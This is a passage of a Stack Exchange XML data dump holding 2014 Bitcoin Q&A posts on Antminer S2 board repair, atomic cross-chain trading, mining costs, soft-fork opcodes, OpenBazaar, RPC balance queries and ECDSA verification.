href=&quot;https://dl.dropboxusercontent.com/u/16075357/bitmain.img.zip&quot; rel=&quot;nofollow&quot;&gt;https://dl.dropboxusercontent.com/u/16075357/bitmain.img.zip&lt;/a&gt; (ver. 20140410 - 72MB file - hopefully its not taken down by the time u read this. Msg me if it is.) -- after the sd card is imaged you can goto the &quot;upgrade firmware&quot; page and load up the newest firmware from bitmain (currently 10/29/2014)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The Boot button is actually on the bottom of the board, i kept thinking it was to the left of the reset button. In order to boot from the SD card you need to UNPLUG/POWER OFF the board then hold down the BOOT button and power it back on and wait for the 2 lights then let go. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; When it boots from the SD card, you can tell by seeing the first 2 LEDs light up from the right. If it boots from the internal memory, the middle 2 LEDs light up! &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I also soldered the Boot button 4 point contacts on the switch to auto boot it from the SD since it thinks the button is constantly pressed. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Seems not to boot if I don't used a class 10 64gb SD card. I tried a really old 1gb card and it didnt boot. Also tried a 2gb and that worked.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Once working, what you should see is the following while you have the cover open: ALL cards should have a &quot;constantly&quot; green light blinking and a BLUE light on the beagleboard card.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;So spent 2 days trying to figure this out after receiving my beagleboard black from amazon. Previous to that I spent like maybe a day trying to diagnose the issue without really googlging it until I found the forum post about just buying a consumer level beagleboard for the antminer s2. Overall it was a frustrating experience to figure this out since I had to go through 5 different SD cards I had laying around to see how to image, boot, modify, and hack my way through. First things first is try to get the antminer gui screen to pop up on the browser first without connecting to the s2. then once that works, upgrade the firmware, and then attach it to the s2. One major thing is MAKE SURE THERE IS A &lt;strong&gt;BLUE LIGHT&lt;/strong&gt; on the board. This indicates that the board is running and make sure you can ping the IP address at all times to see if its alive. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Quick Summary of what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Image a new microSD with the original bitmain image (20140410)&lt;/li&gt;&#xA;&lt;li&gt;Configure settings while NOT connected to S2. (I had to set my IP to 192.168.2.99 since my router was on that subnet)&lt;/li&gt;&#xA;&lt;li&gt;Upgrade firmware of the bitmain image (latest 20141029)&lt;/li&gt;&#xA;&lt;li&gt;Connect to S2.&lt;/li&gt;&#xA;&lt;li&gt;Done!&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="3029" LastEditDate="2014-11-08T18:28:05.953" LastActivityDate="2014-11-08T18:28:05.953" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32278" PostTypeId="1" AcceptedAnswerId="32279" CreationDate="2014-11-01T23:25:18.893" Score="9" ViewCount="958" Body="&lt;p&gt;Atomic cross-chain trading describes a method where two parties, owning different crypto currencies, can safely exchange the crypto currencies without an intermediary. The method is described in the link below: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Atomic_cross-chain_trading&quot;&gt;https://en.bitcoin.it/wiki/Atomic_cross-chain_trading&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are these method of exchange already possible with Bitcoin and popular alt-coins like Litecoin/Dogecoin? Or is it still a work in progress that requires changes to the core code? If atmoic cross chain trading is possible, are there any transactions in the blockchain where atomic cross chain trading has been used?  &lt;/p&gt;&#xA;" OwnerUserId="7267" LastEditorUserId="7267" LastEditDate="2014-11-02T00:48:41.197" LastActivityDate="2015-09-30T19:46:24.223" Title="Atomic cross-chain trading" Tags="|protocol|altcoin|contracts|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32279" PostTypeId="2" ParentId="32278" CreationDate="2014-11-02T01:24:43.370" Score="1" Body="&lt;h3&gt;First method&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is this method of exchange already possible with Bitcoin and popular alt-coins like Litecoin/Dogecoin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&lt;p&gt;Is it advisable, though? No. There are a lot of problems with this:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How do buyers and sellers match their trades up?&lt;/li&gt;&#xA;&lt;li&gt;How do traders know what the current price is?&lt;/li&gt;&#xA;&lt;li&gt;If it's decentralized, most of the participants won't have DDoS protection. I can knock my competitors off of the Internet.&lt;/li&gt;&#xA;&lt;li&gt;If I want to jam things up, I can offer to trade, but abandon the trade after step 1. The other party's coins will be stuck for 2 days.&lt;/li&gt;&#xA;&lt;li&gt;I can go through with the protocol, then perform a &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4942/what-is-a-finney-attack&quot;&gt;Finney attack&lt;/a&gt; and pull my coins back.&lt;/li&gt;&#xA;&lt;li&gt;Both parties need to run clients for both chains.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;P.S. There's an updated version of that &lt;a href=&quot;https://github.com/TierNolan/bips/blob/bip4x/bip-atom.mediawiki#Third_Party_Arbitration&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3&gt;Second method&lt;/h3&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Is this method of exchange already possible with Bitcoin and popular alt-coins like Litecoin/Dogecoin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't know of any altchain that implements this. I will note the following problems:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the altchain client needs to run a copy of Bitcoin to verify transactions&lt;/li&gt;&#xA;&lt;li&gt;if the transaction on Bitcoin's blockchain becomes invalid, every block that included that transaction will be invalid.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If atmoic cross chain trading is possible, are there any transactions in the blockchain where atomic cross chain trading has been used?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Probably not.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-09-30T19:46:24.223" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32283" PostTypeId="1" AcceptedAnswerId="32284" CreationDate="2014-11-02T13:39:25.390" Score="1" ViewCount="239" Body="&lt;p&gt;I am having difficulty getting guiminer to share a pool with me but if I mine on &lt;code&gt;bitcoin-qt -gen 1&lt;/code&gt; it starts hashing straight away. So I'd like to know if the official bitcoin client supports pooling?&lt;/p&gt;&#xA;" OwnerUserId="20910" LastEditorUserId="5406" LastEditDate="2016-04-24T09:21:36.913" LastActivityDate="2016-04-24T09:21:36.913" Title="Does bitcoin-qt support mining in a pool?" Tags="|bitcoin-core|mining-pools|miner-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32284" PostTypeId="2" ParentId="32283" CreationDate="2014-11-02T15:08:20.850" Score="2" Body="&lt;p&gt;No. Also the hashing implementation in the client is very, very limited. It is not optimized for different architectures AFAIK and does not support any other calculation medium other than regular CPU. That means no GPU, FPGA or ASIC mining. And CPU are extremely slow in comparison with these (see for example &lt;a href=&quot;https://en.bitcoin.it/wiki/Why_a_GPU_mines_faster_than_a_CPU&quot; rel=&quot;nofollow&quot;&gt;Why a GPU mines faster than a CPU&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this reason the standard Bitcoin GUI client (bitcoin-qt) does not support mining anymore.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-11-02T15:08:20.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32285" PostTypeId="2" ParentId="17576" CreationDate="2014-11-02T19:16:06.320" Score="0" Body="&lt;p&gt;Adding --no-restart to my command fixed this problem for my 290x setup&lt;/p&gt;&#xA;" OwnerUserId="4305" LastActivityDate="2014-11-02T19:16:06.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32286" PostTypeId="1" CreationDate="2014-11-02T19:57:19.637" Score="13" ViewCount="1594" Body="&lt;p&gt;So I've been trying to figure out how much running the Bitcoin system really costs using the following numbers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Total Bitcoin Hash Rate: 300.000.000 GH/s &lt;/li&gt;&#xA;&lt;li&gt;Hashrate of an ANTMINER S4 (currently one of the most efficient ASICs): 2.000 GH/s Power&lt;/li&gt;&#xA;&lt;li&gt;power consumption of an ANTMINER S4: 1.400W &lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Energy price: $0.15/kWh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;300.000.000 / 2.000 = 150.000 Antminers&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;150.000 * 1400W = 210.000.000W&lt;/li&gt;&#xA;&lt;li&gt;210.000.000W * 24 hours = 5.040.000.000 Wh = 5.040.000 kWh&lt;/li&gt;&#xA;&lt;li&gt;5.040.000 * $0.15 = 756.000$&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Taking into account other less efficient rigs around $1.000.000 seems (theoretically) realistic to me, but I just can't wrap my head around Bitcoin costing $364.000.000 per year. What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="20918" LastActivityDate="2014-11-02T22:18:37.443" Title="Can it really be true that the Bitcoin system consumes almost $1.000.000 in electricity per day?" Tags="|energy-consumption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32287" PostTypeId="1" AcceptedAnswerId="32291" CreationDate="2014-11-02T20:34:09.083" Score="2" ViewCount="561" Body="&lt;p&gt;I understand that P2SH transaction types were added &quot;softly&quot; by repurposing a Tx message that is already valid, so old nodes won't reject them in blocks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar method to adding new script OP codes without a hard fork? In other words, how will old nodes interpret &quot;No Op&quot; commands after they have been repurposed for the upgraded protocol?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2014-11-03T03:32:48.887" Title="Can new OP codes be added with a soft fork?" Tags="|protocol|script|blockchain-fork|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32289" PostTypeId="2" ParentId="32287" CreationDate="2014-11-02T21:47:39.467" Score="0" Body="&lt;p&gt;The introduction P2SH didn't mean new OP codes nor repurposing old ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot change any existing OP code with a soft fork by definition. The only thing you can do is to interpret information for new applications. For example, you can include the hash of a document to create a proof of existence scheme.&lt;/p&gt;&#xA;" OwnerUserId="7299" LastActivityDate="2014-11-02T21:47:39.467" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32290" PostTypeId="2" ParentId="32286" CreationDate="2014-11-02T22:18:37.443" Score="6" Body="&lt;p&gt;Of course. At the current block reward of 25 BTC per block, on average 3600 BTC are mined per day which are worth over $1 million.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it were significantly much cheaper than $1M (in terms of energy costs) to mine that $1M worth of coins, more people would do so, thus the difficulty would go up, thus the energy costs would go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By definition, the energy costs to mine x amount of bitcoins will never be significantly less than the actual worth of those bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, &quot;wasting&quot; (well, not really) only $365M per year is an incredible efficient improvement over the current banking system worldwide. The huge costs, waste of resources, and TONS of other collateral damage that come with the fiat currency infrastructure is astronomical, and saying that it's much, &lt;em&gt;MUCH&lt;/em&gt; more than the costs of Bitcoin is even still an understatement.&lt;/p&gt;&#xA;" OwnerUserId="20702" LastActivityDate="2014-11-02T22:18:37.443" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="32291" PostTypeId="2" ParentId="32287" CreationDate="2014-11-03T00:14:10.500" Score="3" Body="&lt;p&gt;Yes. Before P2SH, the most popular proposal for solving the problem that P2SH solves was OP_EVAL, which did just that: it repurposed OP_NOP1 as OP_EVAL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A P2SH script looks like this:&lt;br&gt;&#xA;&lt;code&gt;[script input...] [serialized script] | OP_HASH160 [script hash] OP_EQUAL&lt;/code&gt;&lt;br&gt;&#xA;The equivalent OP_EVAL script would look like this to old nodes:&lt;br&gt;&#xA;&lt;code&gt;[script input] [serialized script] | OP_DUP OP_HASH160 [script hash] OP_EQUALVERIFY OP_NOP1&lt;/code&gt;&lt;br&gt;&#xA;Old nodes would only check that the serialized script matches the given script hash when hashed. The other stuff would be ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New nodes would see:&lt;br&gt;&#xA;&lt;code&gt;[script input] [serialized script] | OP_DUP OP_HASH160 [script hash] OP_EQUALVERIFY OP_EVAL&lt;/code&gt;&lt;br&gt;&#xA;New nodes would understand OP_EVAL, so they'd check that the serialized script matches the given script &lt;em&gt;and&lt;/em&gt; execute the serialized script. An OP_EVAL transaction might be seen as invalid for new nodes and valid for old nodes, but not the other way around. That's what makes it a softfork. If the majority of mining power is using the new rules, then this is not a hardfork because the longest chain will always converge to a state that is valid for both old and new nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the new opcode's behavior, it may be necessary for new nodes to verify scripts twice to ensure that certain scripts can't cause hardforks. Scripts are verified once using the old script rules and once using the new rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The OP_EVAL proposal was eventually replaced with P2SH because it was discovered that OP_EVAL accidentally allowed Turing-complete scripts, which the Bitcoin developers didn't want. P2SH is very simple (and a bit weird) in part so that similar accidents would be easy to avoid. But there wasn't any technical problem with this method of adding a new opcode. Moreover, there's nothing restricting the behavior of new opcodes. For example, OP_EVAL could have interpreted its input in a different, Turing-complete language, though there are various reasons why this might not have been a good idea.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2014-11-03T03:32:48.887" LastActivityDate="2014-11-03T03:32:48.887" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32292" PostTypeId="2" ParentId="8875" CreationDate="2014-11-03T09:10:28.827" Score="-1" Body="&lt;p&gt;This would amount to a Trojan. The only difference between the &quot;attack&quot; you're describing and a legitimate version upgrade is whether people are &lt;em&gt;aware&lt;/em&gt; of the changes they've agreed to, and that depends on how closely the behaviour and code are being scrutinized by the community and whether the distribution chain is trustworthy. This probably has a lot to do with why nontechnical people tend to distrust cryptocurrency and what's built on it.&lt;/p&gt;&#xA;" OwnerUserId="20920" LastActivityDate="2014-11-03T09:10:28.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32294" PostTypeId="1" CreationDate="2014-11-03T10:54:53.553" Score="2" ViewCount="296" Body="&lt;p&gt;Are there any services/freelancer websites where I can get paid in dogecoin?&lt;/p&gt;&#xA;" OwnerUserId="20922" LastActivityDate="2014-11-13T19:04:24.897" Title="Where can I get paid dogecoin for work?" Tags="|dogecoin|services|" AnswerCount="0" CommentCount="7" ClosedDate="2014-11-22T00:29:35.107" ContentLicense="CC BY-SA 3.0" />
  <row Id="32295" PostTypeId="1" AcceptedAnswerId="32296" CreationDate="2014-11-03T16:53:48.237" Score="1" ViewCount="438" Body="&lt;p&gt;I'm contemplating if I should use openbazaar or the nxt marketplace. both a decentralized, but I have a few questions regarding openbazaar:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;What incentive does hosting a openbazaar node give? I understand that the nxt marketplace is built into the coin's blockchain so there's the incentive of mining coins while it also hosts the marketplace.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does openbazaar / nxt marketplace handle fees? Or is there any fees at all? There has to be some sort of fee I'd imagine or else there would be alot of spam. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Can you upload images/pics to openbazaar/nxt ? How do they handle the bloat? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How does user ratings work? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2016-07-24T20:36:02.517" Title="How does OpenBazaar differ from NXT decentralized marketplace?" Tags="|nxt|openbazaar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32296" PostTypeId="2" ParentId="32295" CreationDate="2014-11-03T17:20:35.137" Score="1" Body="&lt;p&gt;The NXT Marketplace is for digital goods. If you want to sell physical goods, you should look at the &lt;strong&gt;NXT FreeMarket&lt;/strong&gt;, which also lives on the NXT blockchain. You can read about it here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nxtfreemarket.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.nxtfreemarket.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2014-11-03T17:20:35.137" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32299" PostTypeId="1" AcceptedAnswerId="32301" CreationDate="2014-11-03T19:26:07.723" Score="1" ViewCount="651" Body="&lt;p&gt;How do I get the balance of an arbitrary address using Bitcoin RPC calls? From the RPC calls I can see you are required to have the private key or an &lt;code&gt;account&lt;/code&gt; to use the RPC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For illustrations sake, if you could demo querying this address:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That would be great. &lt;a href=&quot;https://blockchain.info/address/1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is the actual balance for this address. &lt;/p&gt;&#xA;" OwnerUserId="20835" LastActivityDate="2014-11-03T20:37:48.667" Title="What RPC can I use to query the balance of an arbitrary address" Tags="|json-rpc|" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-20T14:45:47.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="32300" PostTypeId="1" AcceptedAnswerId="32484" CreationDate="2014-11-03T19:54:49.170" Score="2" ViewCount="2343" Body="&lt;p&gt;I have looked around, but I can't find the code related directly to my question. I want to create a list in any format that contains the all accounts with balance over 0 for example. Thanks ahead for any help.&lt;/p&gt;&#xA;" OwnerUserId="20930" LastActivityDate="2014-11-13T21:05:40.863" Title="How can I create a list of X richest bitcoin addresses?" Tags="|blockchain|balance|python|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32301" PostTypeId="2" ParentId="32299" CreationDate="2014-11-03T20:37:48.667" Score="1" Body="&lt;p&gt;This has already been answered here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10895/calculating-address-balance&quot;&gt;Calculating address balance&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10090/how-to-get-an-addresss-balance-with-the-bitcoin-client&quot;&gt;How to get an address&amp;#39;s balance with the bitcoin client?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The pull request for this feature (support for watch-only addresses) can be found at: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4045&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bitcoin/bitcoin/pull/4045&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2014-11-03T20:37:48.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32302" PostTypeId="2" ParentId="32300" CreationDate="2014-11-03T21:32:43.320" Score="0" Body="&lt;p&gt;If you have abe-bitcoin installed you can run an sql query on the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitinfocharts.com/top-100-richest-bitcoin-addresses.html&quot; rel=&quot;nofollow&quot;&gt;https://bitinfocharts.com/top-100-richest-bitcoin-addresses.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15210" LastActivityDate="2014-11-03T21:32:43.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32303" PostTypeId="2" ParentId="23821" CreationDate="2014-11-04T04:50:13.893" Score="1" Body="&lt;p&gt;Chances are there is no GPU in the physical host server, servers don't need them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could CPU mine, but it would be pointless for Bitcoin, Litecoin and most of the Alt-coins because you just wouldn't have enough processing power to generate anything but dust.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry it's not a helpful answer, but it's better than no answer!&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-04T04:50:13.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32304" PostTypeId="2" ParentId="32262" CreationDate="2014-11-04T04:58:10.310" Score="1" Body="&lt;p&gt;I would suggest that if you really want to do this you utilise the blockchain.info API and their wallet service. This isn't a project for a novice programmer, if anybody actually trusted your site enough to send funds to it the chances are your site would be hacked repeatedly. You need to be a serious security expert and experienced programmer to store user's Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start with something safer :)&lt;/p&gt;&#xA;" OwnerUserId="18441" LastActivityDate="2014-11-04T04:58:10.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32305" PostTypeId="1" AcceptedAnswerId="32308" CreationDate="2014-11-04T06:23:56.660" Score="12" ViewCount="7088" Body="&lt;p&gt;I understand the basic concept ECDSA where if Bob wants to sign a message it generates a random number n, multiply it with the secp256k1, r = the x value , s = (H(x)&lt;em&gt;d&lt;/em&gt;r)*n^-1 mod q. Also the verification is done by P=u1(G)+u2(P), where G is the generation point, and P as the public key of Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went through the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction&quot; rel=&quot;noreferrer&quot;&gt;transaction&lt;/a&gt; page of wiki. My understanding is that ECDSA takes place somewhere in the scriptSig/scriptPubKey section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Bob wants to spend the unspent transaction output, Bob will need to create a signature script that references to previous transactions, also provide his full public key, which will then be hashed to match previous transactions as the receiver, Bob will also need to generate a signature to prove that public key is originated from his public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It leaves me with a lot of questions such as the &lt;a href=&quot;https://en.bitcoin.it/w/images/en/7/70/Bitcoin_OpCheckSig_InDetail.png&quot; rel=&quot;noreferrer&quot;&gt;Transaction Verification steps:OP_CHECKSIG&lt;/a&gt;&#xA;where I'm guessing most of the steps are trying to match the hash, and finally at step 10 it &#xA;performs the ECDSA verification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it still follow the basic concept computing u1, u2 and utilizing the full public key provided by Bob trying to match the r value at the end? Or is it doing something totally different? I can understand why pubKeyStr and sigStr is required for the ECDSA verification, but it also takes in sha256^2, which i guess is double hashing, with the (verifThisStr). I do not understand where that came from at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be substituted into the hashed message  H(x) when computing s? And does Bob just randomly pick a variable just to generate the signature when it was asked for claiming the unspent transaction?&lt;/p&gt;&#xA;" OwnerUserId="20934" LastEditorUserId="2306" LastEditDate="2015-08-06T23:44:13.133" LastActivityDate="2015-08-06T23:44:13.133" Title="How does the ECDSA verification algorithm work during transaction?" Tags="|transactions|signature|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32306" PostTypeId="1" CreationDate="2014-11-04T06:31:06.183" Score="1" ViewCount="214" Body="&lt;p&gt;I'm using blockchain api to display transactions of credits and debits seperately, I'm using the below procedure for displaying credit and debit transactions. But credit transactions are showing in debit transactions... I mean the credited transaction which need to display in &quot;inputs&quot; index showing in &quot;out&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clear explanation : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking an address as an example: 12RpKRwx7AevwTDJYF94MVDx6vEduFBvHR. If you can the compare transaction list in blockchain.info url &lt;a href=&quot;https://blockchain.info/address/12RpKRwx7AevwTDJYF94MVDx6vEduFBvHR&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/12RpKRwx7AevwTDJYF94MVDx6vEduFBvHR&lt;/a&gt; and json format url https:// blockchain.info/address/12RpKRwx7AevwTDJYF94MVDx6vEduFBvHR?format=json&amp;amp;limit=5, first 2 transactions are showing fine in 'out' index json. But when you see the 3rd transaction in https:// blockchain.info/address/12RpKRwx7AevwTDJYF94MVDx6vEduFBvHR it is incoming transaction, This 3rd transaction is showing in &quot;out&quot; index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My moto is to show my website users a clear transactions of their address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I need to show list of Incoming and Outgoing transactions from blockchain api seperately, Procedure I'm following as suggested by the blockchain.info support team.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Procedure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1st api call https:// blockchain.info/address/12RpKRwx7AevwTDJYF94MVDx6vEduFBvHR?format=json&amp;amp;limit=5 . From this api call I'm taking &quot;hash&quot;  index value and passing the to 2nd api call --&gt; &lt;a href=&quot;https://blockchain.info/rawtx/&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/rawtx/&lt;/a&gt;$hash in the foreach loop . Showing &quot;inputs&quot; index as incoming transactions received to address 12RpKRwx7AevwTDJYF94MVDx6vEduF and &quot;out&quot; as outgoing transactions from 12RpKRwx7AevwTDJYF94MVDx6vEdu.&lt;/p&gt;&#xA;" OwnerUserId="20869" LastActivityDate="2015-01-03T15:50:55.743" Title="Block chain api support - Im unable to seperate the credit and debit transactions using blockchain api" Tags="|transactions|api|blockchain.info|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32307" PostTypeId="2" ParentId="32305" CreationDate="2014-11-04T07:19:24.453" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Question is does it still follow the basic concept computing u1,u2 and utilizing the full public key provided by Bob trying to match the r value at the end ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, that's the basic idea, why would you think it was any different? There's a slightly complicated way that the hash that needs to be signed is calculated, but once the hash is calculated it's just straight ECDSA treating the hash as a 256 bit integer. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it also takes in sha256^2 , which i guess is double hashing , with the (verifThisStr) which i do not understand where that came from at all&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yeah, sha256^2(x) is just defined as sha256(sha256(x)). I'm not sure what you are trying to reference &quot;verifThisStr&quot;, but if it's the value that has to be verified with the ECDSA, then you are just talking about the result of the double hash, treated as an integer. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Also if it still follows the basic concept , what would be substituted into the hashed message H(x) when computing s ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The parts of the transaction that has to be double hashed and then signed depends on the SigHashType (&lt;a href=&quot;https://bitcoin.org/en/developer-guide#signature-hash-types&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.org/en/developer-guide#signature-hash-types&lt;/a&gt;). For standard SIGHASH_ALL, it includes everything in the raw tx except for the scriptSigs, since you can't sign your own signature. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;And does Bob just randomly pick a variable just to generate the signature when it was asked for claiming the unspent transaction ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, there is a random number chosen when making a signature, so ECDSA signatures are non-deterministic. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2014-11-04T07:19:24.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
